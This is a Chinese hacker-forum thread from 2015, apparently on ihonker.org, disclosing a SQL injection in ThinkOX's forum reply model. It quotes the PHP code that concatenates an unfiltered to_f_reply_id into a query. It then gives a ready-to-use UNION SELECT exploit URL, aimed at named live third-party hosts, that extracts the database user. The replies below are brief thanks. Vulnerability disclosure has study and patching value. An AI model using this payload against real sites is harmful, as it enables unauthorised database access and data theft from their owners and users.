楼主: C4r1st

Thinkox 最新版 SQL 注入

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2015-4-11 11:01:51 | 显示全部楼层 |阅读模式
    ThinkOX参数未过滤导致SQL注入漏洞。
    /Application/Forum/Model/ForumLzlReplyModel.class.php
    [PHP] 纯文本查看 复制代码
    public function getLZLReplyList($to_f_reply_id, $order, $page=1, $limit)
     
        {
     
            $list = S('post_replylzllist_' . $to_f_reply_id);
     
            if ($list == null) {
     
                $list = D('forum_lzl_reply')->where('is_del=0 and to_f_reply_id=' . $to_f_reply_id)->order($order)->select();
     
                foreach ($list as $k => &$v) {
     
                    $v['userInfo'] = query_user(array('avatar128', 'nickname', 'uid', 'space_url', 'icons_html'), $v['uid']);
     
                    $v['content'] = op_t($v['content']);
     
                }
     
                unset($v);
     
                S('post_replylzllist_' . $to_f_reply_id, $list, 60);
     
            }
     
            $list = getPage($list, $limit, $page);
     
            return $list;
     
        }

    其中
    [PHP] 纯文本查看 复制代码
    $list = D('forum_lzl_reply')->where('is_del=0 and to_f_reply_id=' . $to_f_reply_id)->order($order)->select();

    未经过过滤带入SQL语句导致注入。

    exp:
    [PHP] 纯文本查看 复制代码
    http://dev.opensns.cn/index.php?s=/forum/lzl/lzllist/to_f_reply_id/1%20and%201=2)union%20select%201,2,3,4,user(),6,7,8,9%23.html


    test
    http://demo.mysuger.cn/index.php ... ly_id/1%20and%201=2)union%20select%201,2,3,4,user(),6,7,8,9%23.html
    QQ截图20150411110058.jpg
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2015-5-16 07:36
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-5-16 08:05:20 | 显示全部楼层
    新手路过
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-6-27 17:54:05 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 14:28:18 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 09:12:28 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-6-30 11:10:53 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 10:14:27 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-7-2 13:32:05 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 14:28:30 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-4 02:32:48 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 13:24 , Processed in 0.030996 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部